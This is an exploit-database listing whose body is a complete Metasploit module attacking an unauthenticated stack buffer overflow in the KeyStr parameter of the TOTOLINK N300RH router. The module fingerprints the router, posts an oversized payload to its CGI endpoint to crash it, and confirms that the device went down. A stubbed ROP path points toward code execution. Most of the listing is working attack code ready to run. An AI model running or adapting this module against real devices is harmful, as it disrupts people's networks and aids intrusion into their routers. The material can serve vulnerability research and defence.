Share
## https://sploitus.com/exploit?id=PACKETSTORM:223862
==================================================================================================================================
    | # Title     : TOTOLINK N300RH V6.1c.1390_B20191101 setWiFiBasicConfig KeyStr Stack Buffer Overflow Metasploit Module           |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/188/ids/36.html                               |
    ==================================================================================================================================
    
    [+] Summary    :  This is a Metasploit auxiliary module that targets a stack-based buffer overflow in the TOTOLINK N300RH router’s setWiFiBasicConfig CGI handler. 
                      The vulnerability occurs when the KeyStr parameter is copied into a fixed-size stack buffer without proper bounds checking.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'TOTOLINK N300RH setWiFiBasicConfig KeyStr Stack Buffer Overflow',
            'Description' => %q{
              This module exploits a stack-based buffer overflow vulnerability in the
              TOTOLINK N300RH wireless router. The vulnerability exists in the
              `setWiFiBasicConfig` handler within `wireless.so` which copies the user-supplied
              `KeyStr` parameter into a fixed-size stack buffer without proper bounds checking.
    
              The vulnerability can be triggered remotely without authentication, leading to
              denial of service (process crash) and potentially arbitrary code execution.
    
              Tested successfully on firmware version V6.1c.1390_B20191101.
            },
            'Author' => ['indoushka'],
            'References' => [
              [ 'CWE', '121' ],   
              [ 'URL', 'https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/188/ids/36.html' ],
              [ 'URL', 'https://github.com/Unknown/Metasploit-TOTOLINK-N300RH' ]
            ],
            'DisclosureDate' => '2024-01-30',    
            'License' => MSF_LICENSE,
            'DefaultOptions' => {
              'RPORT' => 80,
              'SSL' => false
            },
            'Actions' => [
              ['CHECK', { 'Description' => 'Check if target is a TOTOLINK N300RH router' }],
              ['DOS', { 'Description' => 'Trigger denial of service (process crash)' }],
              ['EXPLOIT', { 'Description' => 'Attempt arbitrary code execution (ROP chain required)' }]
            ],
            'DefaultAction' => 'DOS',
            'Notes' => {
              'Stability' => [ CRASH_SERVICE_DOWN ],
              'Reliability' => [ REPEATABLE_SESSION ],  # Only for DOS action
              'SideEffects' => [ IOC_IN_LOGS, PHYSICAL_DEVICE_REBOOT ]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [ true, 'Base path to CGI endpoint', '/' ]),
          OptInt.new('KEYSTR_LENGTH', [ false, 'Length of KeyStr buffer (for DOS)', 2000 ]),
          OptString.new('KEYSTR_PATTERN', [ false, 'Pattern for KeyStr (e.g., A*2000)', 'A' * 2000 ]),
          OptBool.new('ENABLE_ROP', [ false, 'Enable ROP chain for code execution', false ])
        ])
        register_advanced_options([
          OptInt.new('CRASH_DETECTION_TIMEOUT', [ true, 'Seconds to wait for crash detection', 10 ]),
          OptString.new('WIFI_AUTH_MODE', [ true, 'AuthMode parameter', 'OPEN' ]),
          OptString.new('WIFI_KEY_TYPE', [ true, 'KeyType parameter', '1' ])
        ])
      end
      def check_host(_ip)
        print_status("Checking #{peer} for TOTOLINK N300RH fingerprint...")
        begin
          res = send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, '/')
          })
          if res.nil?
            return Exploit::CheckCode::Unknown('No response from target')
          end
          totolink_indicators = [
            res.body.to_s =~ /TOTOLINK/i,
            res.body.to_s =~ /N300RH/i,
            res.headers['Server'].to_s =~ /TOTOLINK/i,
            res.body.to_s =~ /wr-300n/i,
            res.body.to_s =~ /Geon Electronics/i
          ]
          if totolink_indicators.any?
            print_status("TOTOLINK detected, attempting vulnerability probe...")
            probe_payload = {
              'topicurl' => 'setWiFiBasicConfig',
              'addEffect' => '0',
              'AuthMode' => datastore['WIFI_AUTH_MODE'],
              'KeyType' => datastore['WIFI_KEY_TYPE'],
              'KeyStr' => 'A' * 64  # Normal WiFi key length (64 hex chars for WPA2)
            }
            res2 = send_request_cgi({
              'method' => 'POST',
              'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'cstecgi.cgi'),
              'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
              'headers' => {
                'X-Requested-With' => 'XMLHttpRequest'
              },
              'data' => probe_payload.to_json
            })
            if res2 && res2.code == 200
              return Exploit::CheckCode::Appears('Target appears to be TOTOLINK N300RH with vulnerable endpoint accessible')
            else
              return Exploit::CheckCode::Detected('TOTOLINK detected but vulnerability probe failed')
            end
          end
          Exploit::CheckCode::Safe('Target does not appear to be a TOTOLINK N300RH router')
        rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::ConnectionTimeout
          Exploit::CheckCode::Unknown('Could not connect to target')
        rescue => e
          Exploit::CheckCode::Unknown("Error during check: #{e.message}")
        end
      end
      def build_malicious_payload(crash_only = true)
        payload_data = {
          'topicurl' => 'setWiFiBasicConfig',
          'addEffect' => '0',
          'AuthMode' => datastore['WIFI_AUTH_MODE'],
          'KeyType' => datastore['WIFI_KEY_TYPE']
        }
        if crash_only || !datastore['ENABLE_ROP']
          if datastore['KEYSTR_PATTERN'] && !datastore['KEYSTR_PATTERN'].empty?
            key_str = datastore['KEYSTR_PATTERN']
          else
            length = datastore['KEYSTR_LENGTH'] || 2000
            key_str = 'A' * length
          end
          vprint_status("Using DOS payload with #{key_str.length} bytes")
        else
          print_warning("Code execution requires ROP chain for firmware V6.1c.1390_B20191101")
          print_warning("This is a placeholder - you need to implement the ROP chain")
          rop_chain = generate_mips_rop_chain
          padding = 'A' * 1024  # Adjust offset based on reverse engineering
          key_str = padding + rop_chain
        end
        payload_data['KeyStr'] = key_str
        payload_data.to_json
      end
      def generate_mips_rop_chain
        print_error("ROP chain not implemented - set ENABLE_ROP false for DOS only")
        'A' * 1024
      end
      def check_for_crash
        print_status("Checking if target crashed...")
        begin
          Timeout.timeout(datastore['CRASH_DETECTION_TIMEOUT']) do
            res = send_request_cgi({
              'method' => 'GET',
              'uri' => normalize_uri(target_uri.path, '/'),
              'timeout' => 5
            })
            if res.nil?
              print_good("Target is not responding - likely crashed")
              return true
            elsif res.code == 200
              print_warning("Target still responding - may not have crashed")
              return false
            end
          end
        rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::ConnectionTimeout
          print_good("Connection failed - target likely crashed")
          return true
        rescue Timeout::Error
          print_good("Timeout - target likely crashed")
          return true
        end
        false
      end
      def dos_exploit
        print_status("Preparing malicious request...")
        malicious_json = build_malicious_payload(true)
        print_status("Sending exploit payload to #{peer}/cgi-bin/cstecgi.cgi")
        print_status("KeyStr length: #{datastore['KEYSTR_PATTERN']&.length || datastore['KEYSTR_LENGTH'] || 2000} bytes")
        begin
          res = send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'cstecgi.cgi'),
            'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
            'headers' => {
              'X-Requested-With' => 'XMLHttpRequest',
              'User-Agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0'
            },
            'data' => malicious_json
          })
          if res
            print_status("HTTP Response: #{res.code}")
            if res.code == 200
              print_good("Request accepted - exploit sent successfully")
            else
              print_warning("Unexpected response code: #{res.code}")
            end
          else
            print_good("No response received - exploit may have triggered immediately")
          end
        rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused
          print_good("Connection reset - exploit likely triggered")
        rescue ::Rex::ConnectionTimeout
          print_good("Connection timeout - service may have crashed")
        rescue => e
          print_error("Error sending exploit: #{e.message}")
          return false
        end
        print_status("Waiting #{datastore['CRASH_DETECTION_TIMEOUT']} seconds for crash...")
        sleep(datastore['CRASH_DETECTION_TIMEOUT'])
        check_for_crash
      end
      def code_exec_exploit
        print_warning("Code execution not fully implemented")
        print_warning("You need to:")
        print_warning("  1. Reverse engineer the exact offset to return address")
        print_warning("  2. Find ROP gadgets in the firmware")
        print_warning("  3. Implement generate_mips_rop_chain method")
        print_warning("  4. Test on actual hardware")
        if datastore['FORCE_EXPLOIT']
          print_status("FORCE_EXPLOIT enabled, attempting anyway...")
          malicious_json = build_malicious_payload(false)
          send_request_cgi({
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'cstecgi.cgi'),
            'data' => malicious_json
          })
        else
          print_error("Set FORCE_EXPLOIT=true to attempt anyway (not recommended)")
        end
      end
      def run_host(_ip)
        if datastore['KEYSTR_PATTERN'] && !datastore['KEYSTR_PATTERN'].empty?
          print_status("Using custom KeyStr pattern of #{datastore['KEYSTR_PATTERN'].length} bytes")
        elsif datastore['KEYSTR_LENGTH'] && datastore['KEYSTR_LENGTH'] > 0
          print_status("Using KeyStr length: #{datastore['KEYSTR_LENGTH']} bytes")
        elsif datastore['ACTION'] == 'EXPLOIT' && datastore['ENABLE_ROP']
          print_status("Preparing ROP chain for code execution")
        else
          print_status("Using default DOS payload (2000 bytes)")
        end
        case action.name
        when 'CHECK'
          result = check_host(nil)
          print_status(result.message)
          report_note(
            host: rhost,
            port: rport,
            type: 'totolink.n300rh.check_result',
            data: result.message
          )
          return
        when 'DOS'
          print_status("Starting Denial of Service attack against #{peer}")
          crashed = dos_exploit
          if crashed
            print_good("Successfully crashed target TOTOLINK N300RH!")
            print_warning("The device may need to be power-cycled to restore full functionality")
            report_vuln(
              host: rhost,
              port: rport,
              proto: 'tcp',
              name: 'TOTOLINK N300RH setWiFiBasicConfig KeyStr Stack Buffer Overflow',
              refs: references,
              info: "Device successfully crashed via oversized KeyStr parameter"
            )
          else
            print_error("Target did not crash - vulnerability may be patched or different version")
          end
        when 'EXPLOIT'
          if datastore['ENABLE_ROP']
            print_status("Attempting code execution...")
            code_exec_exploit
          else
            print_error("Code execution requires ENABLE_ROP=true and a valid ROP chain")
            print_error("Falling back to DOS mode")
            dos_exploit
          end
        end
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================